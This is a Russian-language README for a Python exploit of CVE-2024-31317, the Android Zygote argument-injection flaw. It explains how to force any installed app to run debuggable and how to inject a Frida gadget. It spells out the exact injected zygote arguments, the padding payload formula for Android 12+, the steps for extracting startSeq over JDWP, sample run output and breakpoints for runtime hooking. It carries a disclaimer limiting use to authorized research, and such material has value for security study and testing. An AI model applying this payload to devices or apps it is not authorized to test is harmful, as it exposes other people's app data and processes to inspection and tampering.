
CVE-2024-31317 Эксплойт отлаживаемого приложения
Эксплойт на Python для CVE-2024-31317 (внедрение в Zygote Android), который делает любое установленное приложение Android отлаживаемым путем внедрения вредоносных аргументов zygote через настройку hidden_api_blacklist_exemptions. Включает опциональное внедрение гаджета Frida для перехвата во время выполнения.
Этот эксплойт использует уязвимость внедрения команд в процессе Zygote Android для запуска целевых приложений с включенным флагом debuggable. Это позволяет отладку через JDWP и инспекцию любого приложения без необходимости root-доступа или отладочной версии приложения.
Основано на исследовании: Анализ CVE-2024-31317 от Flanker
Ключевая идея: "поле runtime-flags в ZygoteArguments может быть использовано для включения атрибута debuggable приложения."
runtime-flags=65535 для включения отладкиppadb, jdwplibПоместите следующие файлы в одну директорию:
├── CVE-2024-31317-Debuggable.py # Основной скрипт эксплойта
├── jdwplib.py # Клиентская библиотека JDWP
├── app-debug.apk # Отлаживаемое вспомогательное приложение
├── frida-gadget-android-*.so # Гаджет Frida (опционально)
├── frida-gadget.config.so # Конфигурация Frida (опционально)
└── win32/adb.exe # Бинарник ADB для Windows
python CVE-2024-31317-Debuggable.py
Скрипт предложит выбрать режим определения параметров:
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Автоопределение параметров
[2] Жёстко заданные значения
Режим (1/2) [1]:
Фаза 1: Извлечение startSeq
startSeq из стековых фреймовФаза 2: Внедрение аргументов Zygote
runtime-flags=65535 (отлаживаемое)hidden_api_blacklist_exemptionsФаза 3: Постэксплуатация
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Автоопределение параметров
[2] Жёстко заданные значения
Режим (1/2) [1]: 1
[INFO] Фаза 1: Извлечение startSeq
[INFO] com.debug.app уже установлено
[INFO] Установка debuggable
[INFO] Запуск com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] Порт JDWP: 8700
[INFO] Приостановка VM
[INFO] Сканирование 42 фреймов
[INFO] startSeq: 123456
[INFO] Фаза 2: Эксплойт com.debug.configurator
[INFO] Определение параметров для com.debug.configurator
[INFO] UID: 10242
[INFO] Архитектура: arm64
[INFO] Данные: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Полезная нагрузка: 8765 байт
[INFO] Перезапуск цели
[INFO] Готово
[INFO] PID цели: 23456
[INFO] JDWP: 8701
Внедрить Frida? (y/N):
Отредактируйте константы в начале скрипта:
TARGET_APP = "com.debug.configurator" # Измените на пакет вашей цели
DEBUG_APP = "com.debug.app" # Вспомогательное отлаживаемое приложение
DEBUG_APK = "app-debug.apk" # APK-файл вспомогательного приложения
Режим автоопределения (рекомендуется):
pm list packages -U для получения UIDdumpsys package для получения набора инструкций и каталога данныхРежим жёстко заданных значений:
После успешной эксплуатации можно опционально внедрить гаджет Frida:
Внедрить Frida? (y/N): y
Скрипт выполнит:
frida-gadget.so в /data/local/tmp/run-asСкрипт пробует следующие точки останова в порядке надёжности:
Верхние точки останова должны срабатывать автоматически. Если они не срабатывают по таймауту, нажмите на приложение для активации запасных точек.
После успешного внедрения:
# Подключение к гаджету
frida -H 127.0.0.1:27042 -n Gadget
# Список процессов
frida-ps -H 127.0.0.1:27042
После успешной эксплуатации целевое приложение запускается с включённой отладкой:
Подключитесь с отладчиком JDWP:
jdb -attach localhost:8701
Используйте отладчик Android Studio – присоединитесь к процессу на перенаправленном порту
Используйте Frida – если гаджет был внедрён через скрипт
CVE-2024-31317 – это уязвимость внедрения команд в процессе Zygote Android. Манипулируя системной настройкой hidden_api_blacklist_exemptions специально сформированными входными данными, можно внедрить произвольные аргументы zygote при запуске приложения.
Извлечение startSeq: Каждый запуск приложения имеет уникальный порядковый номер. Мы извлекаем его из отлаживаемого приложения через JDWP, проверяя переменные стековых фреймов.
Формирование полезной нагрузки: Мы формируем аргументы zygote, включая:
--runtime-args
--setuid=<целевой_uid>
--setgid=<целевой_gid>
--runtime-flags=65535 # Включает все флаги отладки
--mount-external-default
--target-sdk-version=35
--setgroups=3003
--nice-name=<пакет>
--seinfo=default:targetSdkVersion=30:complete
--instruction-set=<архитектура>
--app-data-dir=<каталог_данных>
--package-name=<пакет>
--is-top-app
--bind-mount-data-dirs
android.app.ActivityThread
seq=<startSeq+1>
Внедрение: Полезная нагрузка внедряется в системную настройку с определённым отступом для Android 12+:
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
Активация: Принудительно останавливаем и перезапускаем целевое приложение, которое запускается с нашими внедрёнными аргументами и включённым флагом debuggable.
Внедрение Frida работает следующим образом:
Runtime.load() для загрузки разделяемой библиотеки гаджета Frida"Не удалось получить startSeq"
"Точка останова не сработала" во время внедрения Frida
Отказ в подключении Frida
adb forward --listadb forward tcp:27042 tcp:27042Этот инструмент предназначен только для образовательных и авторизованных исследовательских целей в области безопасности. Используйте его только на устройствах, которыми вы владеете, или на которые имеете явное письменное разрешение на тестирование. Несанкционированный доступ к компьютерным системам является незаконным и неэтичным. Авторы не несут ответственности за любое неправомерное использование этого инструмента.
Лицензия MIT – подробности см. в файле LICENSE.
| Класс | Метод | Триггер |
|---|
android.os.MessageQueue | next | Авто – главный Looper опрашивает постоянно |
android.os.Binder | execTransact | Авто – любой IPC/Binder вызов |
android.app.ActivityThread | handleMessage | Авто – главный обработчик приложения |
android.os.Handler | dispatchMessage | Авто – диспетчеризация сообщений |
android.os.Handler | handleMessage | Авто – обработка сообщений |
android.view.Choreographer | doFrame | Авто – колбэки кадров |
android.view.View | dispatchTouchEvent | Вручную – требуется касание |
android.view.View | onDraw | Вручную – требуется перерисовка UI |